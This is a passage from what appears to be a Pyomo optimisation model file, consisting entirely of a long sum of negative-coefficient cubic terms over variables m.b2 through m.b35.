m.b13*m.b21 - 96*m.b4*m.b13*m.b22 - 192*m.b4*m.b13*m.b23 - 192*m.b4*m.b13*m.b24 - 192*m.b4*m.b13*
m.b25 - 160*m.b4*m.b13*m.b26 - 128*m.b4*m.b13*m.b27 - 96*m.b4*m.b13*m.b28 - 96*m.b4*m.b13*m.b29
- 96*m.b4*m.b13*m.b30 - 96*m.b4*m.b13*m.b31 - 96*m.b4*m.b13*m.b32 - 96*m.b4*m.b13*m.b33 - 96*
m.b4*m.b13*m.b34 - 64*m.b4*m.b13*m.b35 - 32*m.b4*m.b13*m.b2 - 160*m.b4*m.b14*m.b15 - 160*m.b4*
m.b14*m.b16 - 128*m.b4*m.b14*m.b17 - 192*m.b4*m.b14*m.b18 - 192*m.b4*m.b14*m.b19 - 192*m.b4*m.b14
*m.b20 - 192*m.b4*m.b14*m.b21 - 192*m.b4*m.b14*m.b22 - 192*m.b4*m.b14*m.b23 - 96*m.b4*m.b14*m.b24
- 160*m.b4*m.b14*m.b25 - 128*m.b4*m.b14*m.b26 - 96*m.b4*m.b14*m.b27 - 96*m.b4*m.b14*m.b28 - 96*
m.b4*m.b14*m.b29 - 96*m.b4*m.b14*m.b30 - 96*m.b4*m.b14*m.b31 - 96*m.b4*m.b14*m.b32 - 96*m.b4*
m.b14*m.b33 - 96*m.b4*m.b14*m.b34 - 64*m.b4*m.b14*m.b35 - 32*m.b4*m.b14*m.b2 - 160*m.b4*m.b15*
m.b16 - 160*m.b4*m.b15*m.b17 - 192*m.b4*m.b15*m.b18 - 192*m.b4*m.b15*m.b19 - 192*m.b4*m.b15*m.b20
- 192*m.b4*m.b15*m.b21 - 192*m.b4*m.b15*m.b22 - 192*m.b4*m.b15*m.b23 - 160*m.b4*m.b15*m.b24 -
128*m.b4*m.b15*m.b25 - 96*m.b4*m.b15*m.b27 - 96*m.b4*m.b15*m.b28 - 96*m.b4*m.b15*m.b29 - 96*m.b4*
m.b15*m.b30 - 96*m.b4*m.b15*m.b31 - 96*m.b4*m.b15*m.b32 - 96*m.b4*m.b15*m.b33 - 96*m.b4*m.b15*
m.b34 - 64*m.b4*m.b15*m.b35 - 32*m.b4*m.b15*m.b2 - 192*m.b4*m.b16*m.b17 - 224*m.b4*m.b16*m.b18 -
192*m.b4*m.b16*m.b19 - 192*m.b4*m.b16*m.b20 - 192*m.b4*m.b16*m.b21 - 192*m.b4*m.b16*m.b22 - 160*
m.b4*m.b16*m.b23 - 128*m.b4*m.b16*m.b24 - 96*m.b4*m.b16*m.b25 - 96*m.b4*m.b16*m.b26 - 96*m.b4*
m.b16*m.b27 - 96*m.b4*m.b16*m.b29 - 96*m.b4*m.b16*m.b30 - 96*m.b4*m.b16*m.b31 - 96*m.b4*m.b16*
m.b32 - 96*m.b4*m.b16*m.b33 - 96*m.b4*m.b16*m.b34 - 64*m.b4*m.b16*m.b35 - 32*m.b4*m.b16*m.b2 -
256*m.b4*m.b17*m.b18 - 224*m.b4*m.b17*m.b19 - 192*m.b4*m.b17*m.b20 - 192*m.b4*m.b17*m.b21 - 160*
m.b4*m.b17*m.b22 - 128*m.b4*m.b17*m.b23 - 96*m.b4*m.b17*m.b24 - 96*m.b4*m.b17*m.b25 - 96*m.b4*
m.b17*m.b26 - 96*m.b4*m.b17*m.b27 - 96*m.b4*m.b17*m.b28 - 96*m.b4*m.b17*m.b29 - 96*m.b4*m.b17*
m.b31 - 96*m.b4*m.b17*m.b32 - 96*m.b4*m.b17*m.b33 - 96*m.b4*m.b17*m.b34 - 64*m.b4*m.b17*m.b35 -
32*m.b4*m.b17*m.b2 - 256*m.b4*m.b18*m.b19 - 224*m.b4*m.b18*m.b20 - 160*m.b4*m.b18*m.b21 - 128*
m.b4*m.b18*m.b22 - 96*m.b4*m.b18*m.b23 - 96*m.b4*m.b18*m.b24 - 96*m.b4*m.b18*m.b25 - 96*m.b4*
m.b18*m.b26 - 96*m.b4*m.b18*m.b27 - 96*m.b4*m.b18*m.b28 - 96*m.b4*m.b18*m.b29 - 96*m.b4*m.b18*
m.b30 - 96*m.b4*m.b18*m.b31 - 96*m.b4*m.b18*m.b33 - 96*m.b4*m.b18*m.b34 - 64*m.b4*m.b18*m.b35 -
32*m.b4*m.b18*m.b2 - 224*m.b4*m.b19*m.b20 - 160*m.b4*m.b19*m.b21 - 96*m.b4*m.b19*m.b22 - 96*m.b4*
m.b19*m.b23 - 96*m.b4*m.b19*m.b24 - 96*m.b4*m.b19*m.b25 - 96*m.b4*m.b19*m.b26 - 96*m.b4*m.b19*
m.b27 - 96*m.b4*m.b19*m.b28 - 96*m.b4*m.b19*m.b29 - 96*m.b4*m.b19*m.b30 - 96*m.b4*m.b19*m.b31 -
96*m.b4*m.b19*m.b32 - 96*m.b4*m.b19*m.b33 - 64*m.b4*m.b19*m.b35 - 32*m.b4*m.b19*m.b2 - 160*m.b4*
m.b20*m.b21 - 128*m.b4*m.b20*m.b22 - 96*m.b4*m.b20*m.b23 - 96*m.b4*m.b20*m.b24 - 96*m.b4*m.b20*
m.b25 - 96*m.b4*m.b20*m.b26 - 96*m.b4*m.b20*m.b27 - 96*m.b4*m.b20*m.b28 - 96*m.b4*m.b20*m.b29 -
96*m.b4*m.b20*m.b30 - 96*m.b4*m.b20*m.b31 - 96*m.b4*m.b20*m.b32 - 96*m.b4*m.b20*m.b33 - 96*m.b4*
m.b20*m.b34 - 64*m.b4*m.b20*m.b35 - 160*m.b4*m.b21*m.b22 - 128*m.b4*m.b21*m.b23 - 96*m.b4*m.b21*
m.b24 - 96*m.b4*m.b21*m.b25 - 96*m.b4*m.b21*m.b26 - 96*m.b4*m.b21*m.b27 - 96*m.b4*m.b21*m.b28 -
96*m.b4*m.b21*m.b29 - 96*m.b4*m.b21*m.b30 - 96*m.b4*m.b21*m.b31 - 96*m.b4*m.b21*m.b32 - 96*m.b4*
m.b21*m.b33 - 96*m.b4*m.b21*m.b34 - 64*m.b4*m.b21*m.b35 - 32*m.b4*m.b21*m.b2 - 160*m.b4*m.b22*
m.b23 - 128*m.b4*m.b22*m.b24 - 96*m.b4*m.b22*m.b25 - 96*m.b4*m.b22*m.b26 - 96*m.b4*m.b22*m.b27 -
96*m.b4*m.b22*m.b28 - 96*m.b4*m.b22*m.b29 - 96*m.b4*m.b22*m.b30 - 96*m.b4*m.b22*m.b31 - 96*m.b4*
m.b22*m.b32 - 96*m.b4*m.b22*m.b33 - 96*m.b4*m.b22*m.b34 - 64*m.b4*m.b22*m.b35 - 32*m.b4*m.b22*
m.b2 - 160*m.b4*m.b23*m.b24 - 128*m.b4*m.b23*m.b25 - 96*m.b4*m.b23*m.b26 - 96*m.b4*m.b23*m.b27 -
96*m.b4*m.b23*m.b28 - 96*m.b4*m.b23*m.b29 - 96*m.b4*m.b23*m.b30 - 96*m.b4*m.b23*m.b31 - 96*m.b4*
m.b23*m.b32 - 96*m.b4*m.b23*m.b33 - 96*m.b4*m.b23*m.b34 - 64*m.b4*m.b23*m.b35 - 32*m.b4*m.b23*
m.b2 - 160*m.b4*m.b24*m.b25 - 128*m.b4*m.b24*m.b26 - 96*m.b4*m.b24*m.b27 - 96*m.b4*m.b24*m.b28 -
96*m.b4*m.b24*m.b29 - 96*m.b4*m.b24*m.b30 - 96*m.b4*m.b24*m.b31 - 96*m.b4*m.b24*m.b32 - 96*m.b4*
m.b24*m.b33 - 96*m.b4*m.b24*m.b34 - 64*m.b4*m.b24*m.b35 - 32*m.b4*m.b24*m.b2 - 160*m.b4*m.b25*
m.b26 - 128*m.b4*m.b25*m.b27 - 96*m.b4*m.b25*m.b28 - 96*m.b4*m.b25*m.b29 - 96*m.b4*m.b25*m.b30 -
96*m.b4*m.b25*m.b31 - 96*m.b4*m.b25*m.b32 - 96*m.b4*m.b25*m.b33 - 96*m.b4*m.b25*m.b34 - 64*m.b4*
m.b25*m.b35 - 32*m.b4*m.b25*m.b2 - 160*m.b4*m.b26*m.b27 - 128*m.b4*m.b26*m.b28 - 96*m.b4*m.b26*
m.b29 - 96*m.b4*m.b26*m.b30 - 96*m.b4*m.b26*m.b31 - 96*m.b4*m.b26*m.b32 - 96*m.b4*m.b26*m.b33 -
96*m.b4*m.b26*m.b34 - 64*m.b4*m.b26*m.b35 - 32*m.b4*m.b26*m.b2 - 160*m.b4*m.b27*m.b28 - 128*m.b4*
m.b27*m.b29 - 96*m.b4*m.b27*m.b30 - 96*m.b4*m.b27*m.b31 - 96*m.b4*m.b27*m.b32 - 96*m.b4*m.b27*
m.b33 - 96*m.b4*m.b27*m.b34 - 64*m.b4*m.b27*m.b35 - 32*m.b4*m.b27*m.b2 - 160*m.b4*m.b28*m.b29 -
128*m.b4*m.b28*m.b30 - 96*m.b4*m.b28*m.b31 - 96*m.b4*m.b28*m.b32 - 96*m.b4*m.b28*m.b33 - 96*m.b4*
m.b28*m.b34 - 64*m.b4*m.b28*m.b35 - 32*m.b4*m.b28*m.b2 - 160*m.b4*m.b29*m.b30 - 128*m.b4*m.b29*
m.b31 - 96*m.b4*m.b29*m.b32 - 96*m.b4*m.b29*m.b33 - 96*m.b4*m.b29*m.b34 - 64*m.b4*m.b29*m.b35 -
32*m.b4*m.b29*m.b2 - 160*m.b4*m.b30*m.b31 - 128*m.b4*m.b30*m.b32 - 96*m.b4*m.b30*m.b33 - 96*m.b4*
m.b30*m.b34 - 64*m.b4*m.b30*m.b35 - 32*m.b4*m.b30*m.b2 - 160*m.b4*m.b31*m.b32 - 128*m.b4*m.b31*
m.b33 - 96*m.b4*m.b31*m.b34 - 64*m.b4*m.b31*m.b35 - 32*m.b4*m.b31*m.b2 - 160*m.b4*m.b32*m.b33 -
128*m.b4*m.b32*m.b34 - 64*m.b4*m.b32*m.b35 - 32*m.b4*m.b32*m.b2 - 160*m.b4*m.b33*m.b34 - 96*m.b4*
m.b33*m.b35 - 32*m.b4*m.b33*m.b2 - 128*m.b4*m.b34*m.b35 - 64*m.b4*m.b34*m.b2 - 64*m.b4*m.b35*m.b2
- 64*m.b5*m.b6*m.b7 - 96*m.b5*m.b6*m.b8 - 96*m.b5*m.b6*m.b9 - 64*m.b5*m.b6*m.b10 - 64*m.b5*m.b6*
m.b11 - 64*m.b5*m.b6*m.b12 - 64*m.b5*m.b6*m.b13 - 64*m.b5*m.b6*m.b14 - 64*m.b5*m.b6*m.b15 - 64*
m.b5*m.b6*m.b16 - 64*m.b5*m.b6*m.b17 - 160*m.b5*m.b6*m.b18 - 256*m.b5*m.b6*m.b19 - 256*m.b5*m.b6*
m.b20 - 256*m.b5*m.b6*m.b21 - 256*m.b5*m.b6*m.b22 - 256*m.b5*m.b6*m.b23 - 256*m.b5*m.b6*m.b24 -
256*m.b5*m.b6*m.b25 - 256*m.b5*m.b6*m.b26 - 256*m.b5*m.b6*m.b27 - 256*m.b5*m.b6*m.b28 - 256*m.b5*
m.b6*m.b29 - 256*m.b5*m.b6*m.b30 - 256*m.b5*m.b6*m.b31 - 256*m.b5*m.b6*m.b32 - 224*m.b5*m.b6*
m.b33 - 160*m.b5*m.b6*m.b34 - 96*m.b5*m.b6*m.b35 - 32*m.b5*m.b6*m.b2 - 96*m.b5*m.b7*m.b8 - 64*
m.b5*m.b7*m.b9 - 96*m.b5*m.b7*m.b10 - 64*m.b5*m.b7*m.b11 - 64*m.b5*m.b7*m.b12 - 64*m.b5*m.b7*
m.b13 - 64*m.b5*m.b7*m.b14 - 64*m.b5*m.b7*m.b15 - 64*m.b5*m.b7*m.b16 - 160*m.b5*m.b7*m.b17 - 160*
m.b5*m.b7*m.b18 - 256*m.b5*m.b7*m.b19 - 256*m.b5*m.b7*m.b20 - 256*m.b5*m.b7*m.b21 - 256*m.b5*m.b7
*m.b22 - 256*m.b5*m.b7*m.b23 - 256*m.b5*m.b7*m.b24 - 256*m.b5*m.b7*m.b25 - 256*m.b5*m.b7*m.b26 -
256*m.b5*m.b7*m.b27 - 256*m.b5*m.b7*m.b28 - 256*m.b5*m.b7*m.b29 - 256*m.b5*m.b7*m.b30 - 256*m.b5*
m.b7*m.b31 - 224*m.b5*m.b7*m.b32 - 192*m.b5*m.b7*m.b33 - 128*m.b5*m.b7*m.b34 - 64*m.b5*m.b7*m.b35
- 32*m.b5*m.b7*m.b2 - 96*m.b5*m.b8*m.b9 - 96*m.b5*m.b8*m.b10 - 64*m.b5*m.b8*m.b11 - 64*m.b5*m.b8
*m.b12 - 64*m.b5*m.b8*m.b13 - 64*m.b5*m.b8*m.b14 - 64*m.b5*m.b8*m.b15 - 160*m.b5*m.b8*m.b16 - 160
*m.b5*m.b8*m.b17 - 160*m.b5*m.b8*m.b18 - 256*m.b5*m.b8*m.b19 - 256*m.b5*m.b8*m.b20 - 256*m.b5*
m.b8*m.b21 - 256*m.b5*m.b8*m.b22 - 256*m.b5*m.b8*m.b23 - 256*m.b5*m.b8*m.b24 - 256*m.b5*m.b8*
m.b25 - 256*m.b5*m.b8*m.b26 - 256*m.b5*m.b8*m.b27 - 256*m.b5*m.b8*m.b28 - 256*m.b5*m.b8*m.b29 -
256*m.b5*m.b8*m.b30 - 224*m.b5*m.b8*m.b31 - 192*m.b5*m.b8*m.b32 - 160*m.b5*m.b8*m.b33 - 96*m.b5*
m.b8*m.b34 - 64*m.b5*m.b8*m.b35 - 32*m.b5*m.b8*m.b2 - 96*m.b5*m.b9*m.b10 - 96*m.b5*m.b9*m.b11 -
96*m.b5*m.b9*m.b12 - 32*m.b5*m.b9*m.b13 - 64*m.b5*m.b9*m.b14 - 160*m.b5*m.b9*m.b15 - 160*m.b5*
m.b9*m.b16 - 160*m.b5*m.b9*m.b17 - 160*m.b5*m.b9*m.b18 - 256*m.b5*m.b9*m.b19 - 256*m.b5*m.b9*
m.b20 - 256*m.b5*m.b9*m.b21 - 256*m.b5*m.b9*m.b22 - 256*m.b5*m.b9*m.b23 - 256*m.b5*m.b9*m.b24 -
256*m.b5*m.b9*m.b25 - 256*m.b5*m.b9*m.b26 - 256*m.b5*m.b9*m.b27 - 256*m.b5*m.b9*m.b28 - 256*m.b5*
m.b9*m.b29 - 224*m.b5*m.b9*m.b30 - 192*m.b5*m.b9*m.b31 - 160*m.b5*m.b9*m.b32 - 128*m.b5*m.b9*
m.b33 - 96*m.b5*m.b9*m.b34 - 64*m.b5*m.b9*m.b35 - 32*m.b5*m.b9*m.b2 - 96*m.b5*m.b10*m.b11 - 96*
m.b5*m.b10*m.b12 - 96*m.b5*m.b10*m.b13 - 160*m.b5*m.b10*m.b14 - 128*m.b5*m.b10*m.b15 - 160*m.b5*
m.b10*m.b16 - 160*m.b5*m.b10*m.b17 - 160*m.b5*m.b10*m.b18 - 256*m.b5*m.b10*m.b19 - 256*m.b5*m.b10
*m.b20 - 256*m.b5*m.b10*m.b21 - 256*m.b5*m.b10*m.b22 - 256*m.b5*m.b10*m.b23 - 256*m.b5*m.b10*
m.b24 - 256*m.b5*m.b10*m.b25 - 256*m.b5*m.b10*m.b26 - 256*m.b5*m.b10*m.b27 - 256*m.b5*m.b10*m.b28
- 224*m.b5*m.b10*m.b29 - 192*m.b5*m.b10*m.b30 - 160*m.b5*m.b10*m.b31 - 128*m.b5*m.b10*m.b32 -
128*m.b5*m.b10*m.b33 - 96*m.b5*m.b10*m.b34 - 64*m.b5*m.b10*m.b35 - 32*m.b5*m.b10*m.b2 - 96*m.b5*
m.b11*m.b12 - 192*m.b5*m.b11*m.b13 - 192*m.b5*m.b11*m.b14 - 160*m.b5*m.b11*m.b15 - 160*m.b5*m.b11
*m.b16 - 128*m.b5*m.b11*m.b17 - 160*m.b5*m.b11*m.b18 - 256*m.b5*m.b11*m.b19 - 256*m.b5*m.b11*
m.b20 - 256*m.b5*m.b11*m.b21 - 256*m.b5*m.b11*m.b22 - 256*m.b5*m.b11*m.b23 - 256*m.b5*m.b11*m.b24
- 256*m.b5*m.b11*m.b25 - 256*m.b5*m.b11*m.b26 - 256*m.b5*m.b11*m.b27 - 224*m.b5*m.b11*m.b28 -
192*m.b5*m.b11*m.b29 - 160*m.b5*m.b11*m.b30 - 128*m.b5*m.b11*m.b31 - 128*m.b5*m.b11*m.b32 - 128*
m.b5*m.b11*m.b33 - 96*m.b5*m.b11*m.b34 - 64*m.b5*m.b11*m.b35 - 32*m.b5*m.b11*m.b2 - 192*m.b5*
m.b12*m.b13 - 192*m.b5*m.b12*m.b14 - 192*m.b5*m.b12*m.b15 - 160*m.b5*m.b12*m.b16 - 160*m.b5*m.b12
*m.b17 - 160*m.b5*m.b12*m.b18 - 128*m.b5*m.b12*m.b19 - 256*m.b5*m.b12*m.b20 - 256*m.b5*m.b12*
m.b21 - 256*m.b5*m.b12*m.b22 - 256*m.b5*m.b12*m.b23 - 256*m.b5*m.b12*m.b24 - 256*m.b5*m.b12*m.b25
- 256*m.b5*m.b12*m.b26 - 224*m.b5*m.b12*m.b27 - 192*m.b5*m.b12*m.b28 - 160*m.b5*m.b12*m.b29 -
128*m.b5*m.b12*m.b30 - 128*m.b5*m.b12*m.b31 - 128*m.b5*m.b12*m.b32 - 128*m.b5*m.b12*m.b33 - 96*
m.b5*m.b12*m.b34 - 64*m.b5*m.b12*m.b35 - 32*m.b5*m.b12*m.b2 - 192*m.b5*m.b13*m.b14 - 192*m.b5*
m.b13*m.b15 - 192*m.b5*m.b13*m.b16 - 160*m.b5*m.b13*m.b17 - 160*m.b5*m.b13*m.b18 - 256*m.b5*m.b13
*m.b19 - 256*m.b5*m.b13*m.b20 - 128*m.b5*m.b13*m.b21 - 256*m.b5*m.b13*m.b22 - 256*m.b5*m.b13*
m.b23 - 256*m.b5*m.b13*m.b24 - 256*m.b5*m.b13*m.b25 - 224*m.b5*m.b13*m.b26 - 192*m.b5*m.b13*m.b27
- 160*m.b5*m.b13*m.b28 - 128*m.b5*m.b13*m.b29 - 128*m.b5*m.b13*m.b30 - 128*m.b5*m.b13*m.b31 -
128*m.b5*m.b13*m.b32 - 128*m.b5*m.b13*m.b33 - 96*m.b5*m.b13*m.b34 - 64*m.b5*m.b13*m.b35 - 32*m.b5
*m.b13*m.b2 - 192*m.b5*m.b14*m.b15 - 192*m.b5*m.b14*m.b16 - 192*m.b5*m.b14*m.b17 - 160*m.b5*m.b14
*m.b18 - 256*m.b5*m.b14*m.b19 - 256*m.b5*m.b14*m.b20 - 256*m.b5*m.b14*m.b21 - 256*m.b5*m.b14*
m.b22 - 128*m.b5*m.b14*m.b23 - 256*m.b5*m.b14*m.b24 - 224*m.b5*m.b14*m.b25 - 192*m.b5*m.b14*m.b26
- 160*m.b5*m.b14*m.b27 - 128*m.b5*m.b14*m.b28 - 128*m.b5*m.b14*m.b29 - 128*m.b5*m.b14*m.b30 -
128*m.b5*m.b14*m.b31 - 128*m.b5*m.b14*m.b32 - 128*m.b5*m.b14*m.b33 - 96*m.b5*m.b14*m.b34 - 64*
m.b5*m.b14*m.b35 - 32*m.b5*m.b14*m.b2 - 192*m.b5*m.b15*m.b16 - 224*m.b5*m.b15*m.b17 - 192*m.b5*
m.b15*m.b18 - 256*m.b5*m.b15*m.b19 - 256*m.b5*m.b15*m.b20 - 256*m.b5*m.b15*m.b21 - 256*m.b5*m.b15
*m.b22 - 256*m.b5*m.b15*m.b23 - 224*m.b5*m.b15*m.b24 - 64*m.b5*m.b15*m.b25 - 160*m.b5*m.b15*m.b26
- 128*m.b5*m.b15*m.b27 - 128*m.b5*m.b15*m.b28 - 128*m.b5*m.b15*m.b29 - 128*m.b5*m.b15*m.b30 -
128*m.b5*m.b15*m.b31 - 128*m.b5*m.b15*m.b32 - 128*m.b5*m.b15*m.b33 - 96*m.b5*m.b15*m.b34 - 64*
m.b5*m.b15*m.b35 - 32*m.b5*m.b15*m.b2 - 192*m.b5*m.b16*m.b17 - 224*m.b5*m.b16*m.b18 - 288*m.b5*
m.b16*m.b19 - 256*m.b5*m.b16*m.b20 - 256*m.b5*m.b16*m.b21 - 256*m.b5*m.b16*m.b22 - 224*m.b5*m.b16
*m.b23 - 192*m.b5*m.b16*m.b24 - 160*m.b5*m.b16*m.b25 - 128*m.b5*m.b16*m.b26 - 128*m.b5*m.b16*
m.b28 - 128*m.b5*m.b16*m.b29 - 128*m.b5*m.b16*m.b30 - 128*m.b5*m.b16*m.b31 - 128*m.b5*m.b16*m.b32
- 128*m.b5*m.b16*m.b33 - 96*m.b5*m.b16*m.b34 - 64*m.b5*m.b16*m.b35 - 32*m.b5*m.b16*m.b2 - 256*
m.b5*m.b17*m.b18 - 320*m.b5*m.b17*m.b19 - 288*m.b5*m.b17*m.b20 - 256*m.b5*m.b17*m.b21 - 224*m.b5*
m.b17*m.b22 - 192*m.b5*m.b17*m.b23 - 160*m.b5*m.b17*m.b24 - 128*m.b5*m.b17*m.b25 - 128*m.b5*m.b17
*m.b26 - 128*m.b5*m.b17*m.b27 - 128*m.b5*m.b17*m.b28 - 128*m.b5*m.b17*m.b30 - 128*m.b5*m.b17*
m.b31 - 128*m.b5*m.b17*m.b32 - 128*m.b5*m.b17*m.b33 - 96*m.b5*m.b17*m.b34 - 64*m.b5*m.b17*m.b35
- 32*m.b5*m.b17*m.b2 - 352*m.b5*m.b18*m.b19 - 320*m.b5*m.b18*m.b20 - 256*m.b5*m.b18*m.b21 - 192*
m.b5*m.b18*m.b22 - 160*m.b5*m.b18*m.b23 - 128*m.b5*m.b18*m.b24 - 128*m.b5*m.b18*m.b25 - 128*m.b5*
m.b18*m.b26 - 128*m.b5*m.b18*m.b27 - 128*m.b5*m.b18*m.b28 - 128*m.b5*m.b18*m.b29 - 128*m.b5*m.b18
*m.b30 - 128*m.b5*m.b18*m.b32 - 128*m.b5*m.b18*m.b33 - 96*m.b5*m.b18*m.b34 - 64*m.b5*m.b18*m.b35
- 32*m.b5*m.b18*m.b2 - 320*m.b5*m.b19*m.b20 - 256*m.b5*m.b19*m.b21 - 192*m.b5*m.b19*m.b22 - 128*
m.b5*m.b19*m.b23 - 128*m.b5*m.b19*m.b24 - 128*m.b5*m.b19*m.b25 - 128*m.b5*m.b19*m.b26 - 128*m.b5*
m.b19*m.b27 - 128*m.b5*m.b19*m.b28 - 128*m.b5*m.b19*m.b29 - 128*m.b5*m.b19*m.b30 - 128*m.b5*m.b19
*m.b31 - 128*m.b5*m.b19*m.b32 - 96*m.b5*m.b19*m.b34 - 64*m.b5*m.b19*m.b35 - 32*m.b5*m.b19*m.b2 -
256*m.b5*m.b20*m.b21 - 192*m.b5*m.b20*m.b22 - 160*m.b5*m.b20*m.b23 - 128*m.b5*m.b20*m.b24 - 128*
m.b5*m.b20*m.b25 - 128*m.b5*m.b20*m.b26 - 128*m.b5*m.b20*m.b27 - 128*m.b5*m.b20*m.b28 - 128*m.b5*
m.b20*m.b29 - 128*m.b5*m.b20*m.b30 - 128*m.b5*m.b20*m.b31 - 128*m.b5*m.b20*m.b32 - 128*m.b5*m.b20
*m.b33 - 96*m.b5*m.b20*m.b34 - 32*m.b5*m.b20*m.b2 - 224*m.b5*m.b21*m.b22 - 192*m.b5*m.b21*m.b23
- 160*m.b5*m.b21*m.b24 - 128*m.b5*m.b21*m.b25 - 128*m.b5*m.b21*m.b26 - 128*m.b5*m.b21*m.b27 -
128*m.b5*m.b21*m.b28 - 128*m.b5*m.b21*m.b29 - 128*m.b5*m.b21*m.b30 - 128*m.b5*m.b21*m.b31 - 128*
m.b5*m.b21*m.b32 - 128*m.b5*m.b21*m.b33 - 96*m.b5*m.b21*m.b34 - 64*m.b5*m.b21*m.b35 - 32*m.b5*
m.b21*m.b2 - 224*m.b5*m.b22*m.b23 - 192*m.b5*m.b22*m.b24 - 160*m.b5*m.b22*m.b25 - 128*m.b5*m.b22*
m.b26 - 128*m.b5*m.b22*m.b27 - 128*m.b5*m.b22*m.b28 - 128*m.b5*m.b22*m.b29 - 128*m.b5*m.b22*m.b30
- 128*m.b5*m.b22*m.b31 - 128*m.b5*m.b22*m.b32 - 128*m.b5*m.b22*m.b33 - 96*m.b5*m.b22*m.b34 - 64*
m.b5*m.b22*m.b35 - 32*m.b5*m.b22*m.b2 - 224*m.b5*m.b23*m.b24 - 192*m.b5*m.b23*m.b25 - 160*m.b5*
m.b23*m.b26 - 128*m.b5*m.b23*m.b27 - 128*m.b5*m.b23*m.b28 - 128*m.b5*m.b23*m.b29 - 128*m.b5*m.b23
*m.b30 - 128*m.b5*m.b23*m.b31 - 128*m.b5*m.b23*m.b32 - 128*m.b5*m.b23*m.b33 - 96*m.b5*m.b23*m.b34
- 64*m.b5*m.b23*m.b35 - 32*m.b5*m.b23*m.b2 - 224*m.b5*m.b24*m.b25 - 192*m.b5*m.b24*m.b26 - 160*
m.b5*m.b24*m.b27 - 128*m.b5*m.b24*m.b28 - 128*m.b5*m.b24*m.b29 - 128*m.b5*m.b24*m.b30 - 128*m.b5*
m.b24*m.b31 - 128*m.b5*m.b24*m.b32 - 128*m.b5*m.b24*m.b33 - 96*m.b5*m.b24*m.b34 - 64*m.b5*m.b24*
m.b35 - 32*m.b5*m.b24*m.b2 - 224*m.b5*m.b25*m.b26 - 192*m.b5*m.b25*m.b27 - 160*m.b5*m.b25*m.b28
- 128*m.b5*m.b25*m.b29 - 128*m.b5*m.b25*m.b30 - 128*m.b5*m.b25*m.b31 - 128*m.b5*m.b25*m.b32 -
128*m.b5*m.b25*m.b33 - 96*m.b5*m.b25*m.b34 - 64*m.b5*m.b25*m.b35 - 32*m.b5*m.b25*m.b2 - 224*m.b5*
m.b26*m.b27 - 192*m.b5*m.b26*m.b28 - 160*m.b5*m.b26*m.b29 - 128*m.b5*m.b26*m.b30 - 128*m.b5*m.b26
*m.b31 - 128*m.b5*m.b26*m.b32 - 128*m.b5*m.b26*m.b33 - 96*m.b5*m.b26*m.b34 - 64*m.b5*m.b26*m.b35
- 32*m.b5*m.b26*m.b2 - 224*m.b5*m.b27*m.b28 - 192*m.b5*m.b27*m.b29 - 160*m.b5*m.b27*m.b30 - 128*
m.b5*m.b27*m.b31 - 128*m.b5*m.b27*m.b32 - 128*m.b5*m.b27*m.b33 - 96*m.b5*m.b27*m.b34 - 64*m.b5*
m.b27*m.b35 - 32*m.b5*m.b27*m.b2 - 224*m.b5*m.b28*m.b29 - 192*m.b5*m.b28*m.b30 - 160*m.b5*m.b28*
m.b31 - 128*m.b5*m.b28*m.b32 - 128*m.b5*m.b28*m.b33 - 96*m.b5*m.b28*m.b34 - 64*m.b5*m.b28*m.b35
- 32*m.b5*m.b28*m.b2 - 224*m.b5*m.b29*m.b30 - 192*m.b5*m.b29*m.b31 - 160*m.b5*m.b29*m.b32 - 128*
m.b5*m.b29*m.b33 - 96*m.b5*m.b29*m.b34 - 64*m.b5*m.b29*m.b35 - 32*m.b5*m.b29*m.b2 - 224*m.b5*
m.b30*m.b31 - 192*m.b5*m.b30*m.b32 - 160*m.b5*m.b30*m.b33 - 96*m.b5*m.b30*m.b34 - 64*m.b5*m.b30*
m.b35 - 32*m.b5*m.b30*m.b2 - 224*m.b5*m.b31*m.b32 - 192*m.b5*m.b31*m.b33 - 128*m.b5*m.b31*m.b34
- 64*m.b5*m.b31*m.b35 - 32*m.b5*m.b31*m.b2 - 224*m.b5*m.b32*m.b33 - 160*m.b5*m.b32*m.b34 - 96*
m.b5*m.b32*m.b35 - 32*m.b5*m.b32*m.b2 - 192*m.b5*m.b33*m.b34 - 128*m.b5*m.b33*m.b35 - 64*m.b5*
m.b33*m.b2 - 128*m.b5*m.b34*m.b35 - 64*m.b5*m.b34*m.b2 - 64*m.b5*m.b35*m.b2 - 64*m.b6*m.b7*m.b8
- 96*m.b6*m.b7*m.b9 - 96*m.b6*m.b7*m.b10 - 96*m.b6*m.b7*m.b11 - 64*m.b6*m.b7*m.b12 - 64*m.b6*
m.b7*m.b13 - 64*m.b6*m.b7*m.b14 - 64*m.b6*m.b7*m.b15 - 64*m.b6*m.b7*m.b16 - 64*m.b6*m.b7*m.b17 -
64*m.b6*m.b7*m.b18 - 192*m.b6*m.b7*m.b19 - 320*m.b6*m.b7*m.b20 - 320*m.b6*m.b7*m.b21 - 320*m.b6*
m.b7*m.b22 - 320*m.b6*m.b7*m.b23 - 320*m.b6*m.b7*m.b24 - 320*m.b6*m.b7*m.b25 - 320*m.b6*m.b7*
m.b26 - 320*m.b6*m.b7*m.b27 - 320*m.b6*m.b7*m.b28 - 320*m.b6*m.b7*m.b29 - 320*m.b6*m.b7*m.b30 -
320*m.b6*m.b7*m.b31 - 288*m.b6*m.b7*m.b32 - 224*m.b6*m.b7*m.b33 - 160*m.b6*m.b7*m.b34 - 96*m.b6*
m.b7*m.b35 - 32*m.b6*m.b7*m.b2 - 96*m.b6*m.b8*m.b9 - 64*m.b6*m.b8*m.b10 - 96*m.b6*m.b8*m.b11 - 96
*m.b6*m.b8*m.b12 - 64*m.b6*m.b8*m.b13 - 64*m.b6*m.b8*m.b14 - 64*m.b6*m.b8*m.b15 - 64*m.b6*m.b8*
m.b16 - 64*m.b6*m.b8*m.b17 - 192*m.b6*m.b8*m.b18 - 192*m.b6*m.b8*m.b19 - 320*m.b6*m.b8*m.b20 -
320*m.b6*m.b8*m.b21 - 320*m.b6*m.b8*m.b22 - 320*m.b6*m.b8*m.b23 - 320*m.b6*m.b8*m.b24 - 320*m.b6*
m.b8*m.b25 - 320*m.b6*m.b8*m.b26 - 320*m.b6*m.b8*m.b27 - 320*m.b6*m.b8*m.b28 - 320*m.b6*m.b8*
m.b29 - 320*m.b6*m.b8*m.b30 - 288*m.b6*m.b8*m.b31 - 256*m.b6*m.b8*m.b32 - 192*m.b6*m.b8*m.b33 -
128*m.b6*m.b8*m.b34 - 64*m.b6*m.b8*m.b35 - 32*m.b6*m.b8*m.b2 - 96*m.b6*m.b9*m.b10 - 96*m.b6*m.b9*
